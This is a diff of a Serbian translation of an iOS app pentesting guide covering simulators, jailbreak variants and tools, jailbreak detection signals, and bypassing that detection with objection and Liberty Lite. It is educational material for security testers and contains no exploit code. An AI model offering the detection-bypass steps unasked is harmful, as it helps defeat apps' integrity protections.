potpisane istim potpisnim sertifikatom mogu deliti resurse na siguran način, kao što su stavke u keychain-u**. Provisioning profili se čuvaju unutar telefona u **`/Library/MobileDevice/ProvisioningProfiles`** @@ -24,7 +24,7 @@ Prva stvar koju treba da znate je da je **izvođenje pentesta unutar simulatora Svi alati potrebni za izgradnju i podršku iOS aplikaciji su **samo zvanično podržani na Mac OS**.\ Apple-ov de facto alat za kreiranje/debugovanje/instrumentaciju iOS aplikacija je **Xcode**. Može se koristiti za preuzimanje drugih komponenti kao što su **simulatori** i različite **SDK** **verzije** potrebne za izgradnju i **testiranje** vaše aplikacije.\ -Preporučuje se da **preuzmete** Xcode iz **zvanične prodavnice aplikacija**. Druge verzije mogu sadržati malware. +Preporučuje se da **preuzmete** Xcode iz **zvanične prodavnice aplikacija**. Druge verzije mogu sadržati malver. Datoteke simulatora se mogu naći u `/Users//Library/Developer/CoreSimulator/Devices` @@ -50,11 +50,15 @@ I u ovoj fascikli možete **pronaći paket aplikacije.** ## Emulator -Corellium je jedini javno dostupni iOS emulator. To je preduzetničko SaaS rešenje sa modelom licence po korisniku i ne nudi probnu licencu. +Corellium je jedini javno dostupan iOS emulator. To je preduzetničko SaaS rešenje sa modelom licence po korisniku i ne nudi probnu licencu. ## Nema potrebe za Jailbreak-om -Pogledajte ovaj blog post o tome kako testirati iOS aplikaciju na **ne jailbroken uređaju**: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) +Pogledajte ovaj blog post o tome kako testirati iOS aplikaciju na **uređaju koji nije jailbreak-ovan**: + +{{#ref}} +ios-pentesting-without-jailbreak.md +{{#endref}} ## Jailbreaking @@ -65,61 +69,61 @@ Apple strogo zahteva da kod koji se izvršava na iPhone-u mora biti **potpisan s ### Android Rooting vs. iOS Jailbreaking -Iako se često upoređuju, **rooting** na Android-u i **jailbreaking** na iOS-u su fundamentalno različiti procesi. Rooting Android uređaja može uključivati **instalaciju `su` binarnog fajla** ili **zamenu sistema sa rooted custom ROM-om**, što ne zahteva nužno eksploate ako je bootloader otključan. **Flashing custom ROM-ova** zamenjuje OS uređaja nakon otključavanja bootloader-a, ponekad zahtevajući eksploataciju. +Iako se često upoređuju, **rooting** na Android-u i **jailbreaking** na iOS-u su fundamentalno različiti procesi. Rooting Android uređaja može uključivati **instalaciju `su` binarne datoteke** ili **zamenu sistema sa root-ovanim prilagođenim ROM-om**, što ne zahteva nužno eksploate ako je bootloader otključan. **Flashing custom ROM-ova** zamenjuje OS uređaja nakon otključavanja bootloader-a, ponekad zahtevajući eksploataciju. -Nasuprot tome, iOS uređaji ne mogu flash-ovati custom ROM-ove zbog ograničenja bootloader-a da pokreće samo Apple-om potpisane slike. **Jailbreaking iOS-a** ima za cilj da zaobiđe Apple-ove zaštite potpisivanja koda kako bi se pokrenuo nepodpisani kod, proces koji otežava Apple-ova kontinuirana unapređenja bezbednosti. +Nasuprot tome, iOS uređaji ne mogu flash-ovati prilagođene ROM-ove zbog ograničenja bootloader-a da pokreće samo Apple-om potpisane slike. **Jailbreaking iOS** ima za cilj da zaobiđe Apple-ovu zaštitu potpisivanja koda kako bi se pokrenuo nepodpisani kod, proces koji komplikuje Apple-ovo kontinuirano unapređenje bezbednosti. -### Izazovi Jailbreak-ovanja +### Izazovi Jailbreakinga -Jailbreaking iOS-a postaje sve teži jer Apple brzo zakrpljuje ranjivosti. **Downgrade iOS-a** je moguć samo na ograničeno vreme nakon izdanja, što čini jailbreak-ovanje vremenski osetljivim pitanjem. Uređaji korišćeni za bezbednosno testiranje ne bi trebali biti ažurirani osim ako re-jailbreak nije zagarantovan. +Jailbreaking iOS-a postaje sve teži jer Apple brzo zakrpljuje ranjivosti. **Downgrade iOS-a** je moguć samo na ograničeno vreme nakon izdanja, što čini jailbreaking vremenski osetljivim pitanjem. Uređaji korišćeni za bezbednosno testiranje ne bi trebali biti ažurirani osim ako re-jailbreaking nije zagarantovan. -Ažuriranja iOS-a kontrolišu se putem **mehanizma izazov-odgovor** (SHSH blobs), omogućavajući instalaciju samo za Apple-om potpisane odgovore. Ovaj mehanizam, poznat kao "prozor potpisivanja", ograničava mogućnost čuvanja i kasnije korišćenje OTA firmware paketa. [IPSW Downloads website](https://ipsw.me) je resurs za proveru trenutnih prozora potpisivanja. +Ažuriranja iOS-a kontrolišu **mehanizam izazova-odgovora** (SHSH blobs), omogućavajući instalaciju samo za Apple-om potpisane odgovore. Ovaj mehanizam, poznat kao "prozor potpisivanja", ograničava mogućnost čuvanja i kasnije korišćenje OTA firmware paketa. [IPSW Downloads website](https://ipsw.me) je resurs za proveru trenutnih prozora potpisivanja. -### Varijante Jailbreak-ovanja +### Varijante Jailbreakinga -- **Tethered jailbreak-ovi** zahtevaju vezu sa računarom za svaki reboot. -- **Semi-tethered jailbreak-ovi** omogućavaju pokretanje u ne-jailbroken režimu bez računara. -- **Semi-untethered jailbreak-ovi** zahtevaju ručno re-jailbreak-ovanje bez potrebe za računarom. -- **Untethered jailbreak-ovi** nude trajno rešenje za jailbreak bez potrebe za ponovnim primenom. +- **Tethered jailbreaks** zahtevaju vezu sa računarom za svaki reboot. +- **Semi-tethered jailbreaks** omogućavaju pokretanje u ne-jailbroken režimu bez računara. +- **Semi-untethered jailbreaks** zahtevaju ručno re-jailbreaking bez potrebe za računarom. +- **Untethered jailbreaks** nude trajno rešenje za jailbreak bez potrebe za ponovnom primenom. ### Alati i Resursi za Jailbreaking -Alati za jailbreak-ovanje variraju prema verziji iOS-a i uređaju. Resursi kao što su [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com), i [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) pružaju ažurirane informacije. Primeri uključuju: +Alati za jailbreaking variraju prema verziji iOS-a i uređaju. Resursi kao što su [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com), i [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) pružaju ažurirane informacije. Primeri uključuju: - [Checkra1n](https://checkra.in/) za A7-A11 čip uređaje. - [Palera1n](https://palera.in/) za Checkm8 uređaje (A8-A11) na iOS 15.0-16.5. - [Unc0ver](https://unc0ver.dev/) za iOS verzije do 14.8. -Modifikovanje vašeg uređaja nosi rizike, i jailbreak-ovanje treba pristupiti sa oprezom. +Modifikacija vašeg uređaja nosi rizike, i jailbreaking treba pristupiti sa oprezom. -### Prednosti i Rizici Jailbreak-ovanja +### Prednosti i Rizici Jailbreakinga -Jailbreaking **uklanja sandboxing koji nameće OS**, omogućavajući aplikacijama pristup celom fajl sistemu. Ova sloboda omogućava instalaciju neodobrenih aplikacija i pristup više API-ja. Međutim, za obične korisnike, jailbreak-ovanje **nije preporučljivo** zbog potencijalnih bezbednosnih rizika i nestabilnosti uređaja. +Jailbreaking **uklanja sandboxing koji nameće OS**, omogućavajući aplikacijama pristup celom fajl sistemu. Ova sloboda omogućava instalaciju neodobrenih aplikacija i pristup više API-ja. Međutim, za obične korisnike, jailbreaking **nije preporučen** zbog potencijalnih bezbednosnih rizika i nestabilnosti uređaja. -### **Nakon Jailbreak-ovanja** +### **Nakon Jailbreakinga** {{#ref}} basic-ios-testing-operations.md {{#endref}} -### **Detekcija Jailbreak-ovanja** +### **Detekcija Jailbreakinga** **Nekoliko aplikacija će pokušati da detektuje da li je mobilni uređaj jailbreak-ovan i u tom slučaju aplikacija neće raditi** -- Nakon jailbreak-ovanja iOS-a **fajlovi i fascikle se obično instaliraju**, ovi se mogu pretraživati da bi se utvrdilo da li je uređaj jailbreak-ovan. -- Na jailbreak-ovanom uređaju aplikacije dobijaju **read/write pristup novim fajlovima** van sandbox-a. -- Neki **API** **pozivi** će **drugačije reagovati**. -- Prisutnost **OpenSSH** servisa. -- Pozivanje `/bin/sh` će **vratiti 1** umesto 0. +- Nakon jailbreakinga na iOS-u **fajlovi i fascikle se obično instaliraju**, ovi se mogu pretraživati da bi se utvrdilo da li je uređaj jailbreak-ovan. +- Na jailbreak-ovanom uređaju aplikacije dobijaju **read/write pristup novim fajlovima** van sandbox-a +- Neki **API** **pozivi** će **drugačije reagovati** +- Prisutnost **OpenSSH** servisa +- Pozivanje `/bin/sh` će **vratiti 1** umesto 0 -**Više informacija o tome kako detektovati jailbreak-ovanje** [**ovde**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.** +**Više informacija o tome kako detektovati jailbreaking** [**ovde**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.** Možete pokušati da izbegnete ovu detekciju koristeći **objection's** `ios jailbreak disable` -## **Zaobilaženje Detekcije Jailbreak-ovanja** +## **Zaobilaženje Detekcije Jailbreakinga** - Možete pokušati da izbegnete ovu detekciju koristeći **objection's** `ios jailbreak disable` -- Takođe možete instalirati alat **Liberty Lite** (https://ryleyangus.com/repo/). Kada se repo doda, aplikacija bi trebala da se pojavi u ‘Search’ tabu. +- Takođe možete instalirati alat **Liberty Lite** (https://ryleyangus.com/repo/). Kada se repo doda, aplikacija bi trebala da se pojavi u ‘Search’ tabu ## Reference